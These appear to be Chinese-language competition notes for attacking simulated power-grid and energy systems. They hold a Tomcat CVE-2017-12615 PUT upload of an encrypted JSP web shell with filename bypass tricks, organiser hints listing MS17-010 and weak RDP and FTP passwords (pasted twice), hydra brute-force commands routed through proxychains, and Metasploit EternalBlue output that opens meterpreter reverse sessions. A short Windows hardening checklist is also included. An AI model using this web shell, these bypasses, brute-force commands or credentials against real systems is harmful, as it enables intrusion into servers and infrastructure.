

# Tomcat CVE-2017-12615

---

PUT /1200.jsp/ HTTP/1.1

Host: 106.15.50.112:18082

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8  
,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 551

```
<%@page import="java.util.,javax.crypto,javax.crypto.spec.*"%>
```

```
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
```

```
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
```

```
<%if (request.getMethod().equals("POST")){String
```

```
k="e45e329feb5d925b";session.putValue("u",k);
```

```
Cipher c=Cipher.getInstance("AES");
```

```
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
```

```
new U(this.getClass().getClassLoader()).g(c.doFinal(new
```

```
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
```

发包的时候 别忘了 修改一下target。

方法二(适用于Windows系统)

添加文件名2.jsp%20, 添加shell脚本

方法三(适用于Windows系统)

添加文件名3.jsp::\$DATA, 添加shell脚本

---

Windows下不允许文件以空格结尾

以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格

WindowsNTFS流

PUT /x.jsp::\$DATA HTTP/1.1

/在文件名中是非法的, 也会被去除 (Linux/Windows)

PUT /x.jsp/ HTTP/1.1

# 协议分析

---

查看数据流

按照发报的长度进行筛选

搜索flag

# win7 密码复杂度 审计

---

- 1.请开启主机防火墙，win+R输入'firewall.cpl'，点击打开或关闭windows防火墙，全部启用
- 2.请设置密码复杂度策略，win+R输入'gpedit.msc'依次点开计算机配置--》windows设置--》安全设置--》账户策略--》密码策略，开启密码复杂度要求
- 3.请设置审核策略审计，win+R输入'gpedit.msc'依次点开计算机配置--》windows设置--》安全设置--》本地策略--》审核策略，依次全部开启
- 4.请设置登录失败锁定策略，win+R输入'gpedit.msc'依次点开计算机配置--》windows设置--》安全设置--》账户策略--》账户锁定策略，设置5次错误锁定账户，锁定30min

# phpmyadmin getshell姿势

---

<https://xz.aliyun.com/t/3283>

# 要点

---

struct2

协议分析

日志分析

加固

vnc

3389

burp爆破用户名和密码 挂代理

查看浏览器历史记录

图片马

· -07-03 11:05:39

赛事

竞赛管理员（管理员）

第三轮提示

电表喷涂

1.MS17-010

2.RDP协议弱口令

admin 123456

· 2020-07-03 11:05:14

赛事

竞赛管理员（管理员）

第三轮提示

大观园220KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:04:53

赛事

竞赛管理员（管理员）

第三轮提示

大明湖220KV变电站仿真业务场景

1.MS17-010

2.ftp敏感文件泄露<ftp://10.10.1.107:8081>存在密码文件 密码md5加密 10jqka22

· 2020-07-03 11:04:29

赛事

竞赛管理员（管理员）

第三轮提示

趵突泉220KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:04:02

赛事

竞赛管理员（管理员）

第三轮提示

千佛山110KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:03:37

赛事

竞赛管理员（管理员）

第三轮提示

风力发电仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.文件上传漏洞

4.phpstud后门

Administrator 1qaz@WSX

· 2020-07-03 11:03:07

赛事

竞赛管理员（管理员）

第三轮提示

综合能源采集仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.数据库漏洞

4.phpstud后门

Administrator 1qaz@WSX

· 2020-07-03 11:02:42

赛事

竞赛管理员（管理员）

第三轮提示

光伏发电仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.cMS框架漏洞

4.phpstud后门

Administrator 1qaz@WSX

· -07-03 11:05:39

赛事

竞赛管理员（管理员）

第三轮提示

电表喷涂

1.MS17-010

2.RDP协议弱口令

admin 123456

· 2020-07-03 11:05:14

赛事

竞赛管理员（管理员）

第三轮提示

大观园220KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:04:53

赛事

竞赛管理员（管理员）

第三轮提示

大明湖220KV变电站仿真业务场景

1.MS17-010

2.ftp敏感文件泄露<ftp://10.10.1.107:8081>存在密码文件 密码md5加密 10jqka22



· 2020-07-03 11:04:29

赛事

竞赛管理员（管理员）

第三轮提示

趵突泉220KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:04:02

赛事

竞赛管理员（管理员）

第三轮提示

千佛山110KV变电站仿真业务场景

1.MS17-010

2.RDP协议弱口令

admin 1qaz@WSX

admin admin@123

· 2020-07-03 11:03:37

赛事

竞赛管理员（管理员）

第三轮提示

风力发电仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.文件上传漏洞

4.phpstud后门

Administrator 1qaz@WSX

· 2020-07-03 11:03:07

赛事

竞赛管理员（管理员）

第三轮提示

综合能源采集仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.数据库漏洞

4.phpstud后门

Administrator 1qaz@WSX

· 2020-07-03 11:02:42

赛事

竞赛管理员（管理员）

第三轮提示

光伏发电仿真业务场景

1.MS17-010

2.RDP协议弱口令

3.cMS框架漏洞

4.phpstud后门

Administrator 1qaz@WSX

## 东营泄漏

---

使用字典对目标服务进行破解。

```
hydra -L user.txt -P password.txt ssh://192.168.3.163
```

当目标服务开放的端口不是默认端口时，使用 -s 进行指定。

```
hydra -L user.txt -P password.txt ssh://192.168.3.163 -s 40
```

```
-t 10 线程 -vV -f
```

```
hydra -l root -P 1.txt 192.168.14.129 smb或者rdp 针对3389端口
```

l和p是单个用户和密码，s指定端口（区分大小写）

```
proxychains hydra -l admin -P baodian.txt 192.168.123.1 rdp
```

```
proxychains hydra -L user.txt -P top1500.txt 192.168.123.1 rdp
```

# msf打开

---

# 唤出background的session

background

查看有多少sessions

sessions -i 3 让background的session重回前台。

```
[*] 192.168.0.103:445 - Background is already installed
[*] 192.168.0.103:445 - Launching Doublepulsar...
[*] Sending stage (175174 bytes) to 192.168.0.103
[*] Sending stage (175174 bytes) to 192.168.0.103
[*] Sending stage (175174 bytes) to 192.168.0.103
[*] Meterpreter session 1 opened (192.168.0.110:4444 → 192.168.0.103:49209 ) at 2022-08-02 21:43:38 -0400
[*] Meterpreter session 2 opened (192.168.0.110:4444 → 192.168.0.103:49210 ) at 2022-08-02 21:43:39 -0400
[*] Meterpreter session 3 opened (192.168.0.110:4444 → 192.168.0.103:49206 ) at 2022-08-02 21:43:39 -0400
[*] 192.168.0.103:445 - Remote code executed... 3 ... 2 ... 1 ...

meterpreter > background
[*] Backgrounding session 3 ...
msf6 exploit(windows/smb/eternalblue_doublepulsar) > sessions
Active sessions

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/windows WIN-53NUV07TIQH\rzzdh @ WIN-53NUV07TIQH	192.168.0.110:4444 → 192.168.0.103:49209 (192.168.0.103)
2		meterpreter	x86/windows WIN-53NUV07TIQH\rzzdh @ WIN-53NUV07TIQH	192.168.0.110:4444 → 192.168.0.103:49210 (192.168.0.103)
3		meterpreter	x86/windows WIN-53NUV07TIQH\rzzdh @ WIN-53NUV07TIQH	192.168.0.110:4444 → 192.168.0.103:49206 (192.168.0.103)

```
msf6 exploit(windows/smb/eternalblue_doublepulsar) > getsystem
[-] Unknown command: getsystem
msf6 exploit(windows/smb/eternalblue_doublepulsar) > sessions -i 3
[*] Starting interaction with 3 ...

meterpreter > 
```